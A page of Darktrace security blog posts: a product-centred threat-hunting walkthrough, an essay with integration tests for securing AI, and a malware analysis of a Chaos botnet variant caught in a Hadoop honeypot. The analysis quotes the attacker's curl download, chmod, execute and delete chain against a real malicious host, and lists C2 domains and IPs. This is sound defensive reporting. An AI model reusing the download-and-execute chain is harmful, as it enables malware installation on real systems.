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November 9, 2023

Using Darktrace for Threat Hunting

Read about effective threat hunting techniques with Darktrace, focusing on identifying vulnerabilities and improving your security measures.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Brianna Luong (Leddy)
Sr. Technical Alliances Manager
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09
Nov 2023

What is Threat Hunting?

Threat Hunting is a technique to identify adversaries within an organization that go undetected by traditional security tools.

While a traditional, reactive approach to cyber security often involves automated alerts received and investigated by a security team, threat hunting takes a proactive approach to seek out potential threats and vulnerabilities before they escalate into full-blown security incidents. The benefits of hunting include identifying hidden threats, reducing the dwell time of attackers, and enhancing overall detection and response capabilities.

Threat Hunting Methodology

There are many different methodologies and frameworks for threat hunting, including the Pyramid of Pain, the Sqrrl Hunting Loop, and the MITRE ATT&CK Framework.  While there is not one gold standard on how to conduct threat hunts, the typical process can be broken down into several key steps:

Planning and Hypothesis Creation: Define the scope and objective of the threat hunt. Identify potential targets and predict activity that might be taking place.

Data Collection: Refining data collection methods and gathering data from various sources, including logs, network traffic, and endpoint data.

Data Processing: Data that has been collected needs to be processed to generate information.

Data Analysis: Processed data can then be analyzed for anomalies, indicators of compromise (IoCs), or patterns of suspicious behavior.

Threat Identification: Based on the analysis, threat hunters may identify potential threats or security incidents.

Response: Taking action to mitigate or eradicate identified threats if any.

Documentation and Dissemination: It is important to record any findings or actions taken during the threat hunting process to serve as lessons learned for future reference. Additionally, any new threats or tactics, techniques, and procedures (TTPs) discovered may be shared with the cyber threat intelligence team or the wider community.

Building a Threat Hunting Program

For organizations looking to implement threat hunting as part of their cyber security program, they will need both a data collection source and human analysts as threat hunters.

Data collection and analysis may often be performed through existing security tools including SIEM systems, Network Traffic Analysis tools, endpoint agents, and system logs. On the human side, experienced threat hunters may be hired into an organization, or existing SOC analysts may be upskilled to perform threat hunts.

Leveraging AI security tools such as Darktrace can help to lower the bar in building a threat hunting program, both in analysis of the data and in assisting humans in their investigations.

Threat Hunting in Darktrace

To illustrate the benefits of leveraging Darktrace in threat hunting, we can walk through an example hunt following the key steps outlined above.

Planning and Hypothesis Creation

The initial hypothesis used in defining the scope of a threat hunt can come from several sources: threat intelligence feeds, the threat hunter’s own experience, or an anomaly detection that has been highlighted by Darktrace.

In this case, let’s imagine that this hunt is focused on a recent campaign by an Advanced Persistent Threat (APT). Threat intel has provided known file hashes, Command and Control (C2) IP addresses and domains, and MITRE techniques used by the attacker. The goal is to determine whether any indicators of this threat are present in the organization’s environment.

Data Collection and Data Processing

Darktrace can be deployed to cover an organization’s entire digital estate, including passive network traffic monitoring, cloud environments, and SaaS applications. Self-Learning AI is applied to the raw data to learn normal patterns of life for a specific environment and to highlight deviations from normal that might represent a threat. This data gives threat hunters a starting point in analyzing logs, meta-data, and anomaly detections.

Data Analysis

In the data analysis phase, threat hunters can use the Darktrace platform to search for the IoCs and TTPs identified during planning.

When searching for IoCs such as IP addresses or domain names, hunters can query the environment through the Omnisearch bar in the Darktrace Threat Visualizer. This search can provide a summary of all devices or users contacting a suspicious endpoint. From here the hunters can quickly pivot to identify surrounding activity from the source device.

Figure 1: Search for twitter[.]com (now known as X) as a potential indicator of compromise

Alternately, Darktrace Advanced Search can be used to search for these IoCs, but it also supports queries for file hashes or more advanced searches based on ports, protocols, data volumes, etc.

Figure 2: Advanced Search query for connections on port 3389 lasting longer than 60 seconds

While searching for known suspicious domains and IP addresses is straightforward, the real strength of Darktrace lies in the ability to highlight deviations from a device’s ‘normal’ pattern of life. Darktrace has many built-in behavioral models designed to detect common adversary TTPs, all mapped to the MITRE ATT&CK Framework.

In the context of our threat hunt, we know that our target APT uses the Remote Desktop Protocol (RDP) to move laterally within a compromised network, specifically leveraging MITRE technique T1021.001. As each Darktrace model is mapped to MITRE, the threat hunter can search and find specific detection models that may be of interest, in this case the model ‘Anomalous Connection / Unusual Internal Remote Desktop’. From here they can view any devices that may have triggered this model, indicating possible attacker activity.

Figure 3: MITRE Mapping details in the Darktrace Model Editor

Threat hunters can also search more widely for any detections within a specific MITRE tactic through filters found on the Darktrace Threat Tray.

Figure 4: Search for the Lateral Movement MITRE Tactic on the model breach threat tray

Threat Identification

Once a threat hunter has identified connections, model breaches, or anomalies during the analysis phase, they can begin to conduct further investigation to determine if this may represent a security incident.

Threat hunters can use Darktrace to perform deeper analysis through generating packet captures, visualizing surrounding network traffic, and utilizing features like the VirusTotal lookup to consult open-source intelligence (OSINT).

Another powerful tool to augment the hunter’s investigation is the Darktrace Cyber AI Analyst, which assists human teams in the investigation and correlation of behaviors to identify threats. Cyber AI Analyst automatically launches an initial triage of every model breach in the Darktrace platform, but threat hunters can also leverage manual investigations to gain additional context on their findings.

For example, say that an unusual RDP connection of interest was identified through Advanced Search. The hunter can pivot back to the Threat Visualizer and launch an AI Analyst investigation for the source device at the time of the connection. The resulting investigation may provide the hunter with additional suspicious behavior observed around that time, without the need for manual log analysis.

Figure 5: Manual Cyber AI Analyst investigations

Response

If a threat is detected within Darktrace and confirmed by the threat hunter, Darktrace's Autonomous Response can be leveraged to take either autonomous or manual action to contain the threat. This provides the security team with additional time to conduct further investigation, pull forensics, and remediate the threat. This process can be further supported through the bespoke, AI-generated playbooks offered by Darktrace / Incident Readiness & Recovery, allowing an efficient recovery back to normal.

Figure 6: Example of a manual RESPOND action used to block suspicious connectivity on port 3389 to contain possible lateral movement

Documentation and Dissemination

An important final step is to document the threat hunting process and use the results to better improve automated security alerting and response. In Darktrace, reporting can be generated through the Cyber AI Analyst, Advanced Search exports, and model breach details to support documentation.

To improve existing alerting through Darktrace, this may mean creating a new detection model or increasing the priority of existing detections to ensure that these are escalated to the security team in the future. The Darktrace model editor provides users with full visibility into models and allows the creation of custom detections based on use cases or business requirements.

Figure 7: The Darktrace Model Editor showing the Breach Logic configuration

Conclusions

Proactive threat hunting is an important part of a cyber security approach to identify hidden threats, reduce dwell time, and improve incident response. Darktrace’s Self-Learning AI provides a powerful tool for identifying attacker TTPs and augmenting human threat hunters in their process. Utilizing the Darktrace platform, threat hunters can significantly reduce the time required to complete their hunts and mitigate identified threats.

Get the latest insights on emerging cyber threats

Attackers are adapting, are you ready? This report explores the latest trends shaping the cybersecurity landscape and what defenders need to know in 2025.

  • Identity-based attacks: How attackers are bypassing traditional defenses
  • Zero-day exploitation: The rise of previously unknown vulnerabilities
  • AI-driven threats: How adversaries are leveraging AI to outmaneuver security controls

Stay ahead of evolving threats with expert analysis from Darktrace. Download the report here.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Brianna Luong (Leddy)
Sr. Technical Alliances Manager

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April 8, 2026

How to Secure AI and Find the Gaps in Your Security Operations

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What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

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About the author
Nabil Zoldjalali
VP, Field CISO

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer
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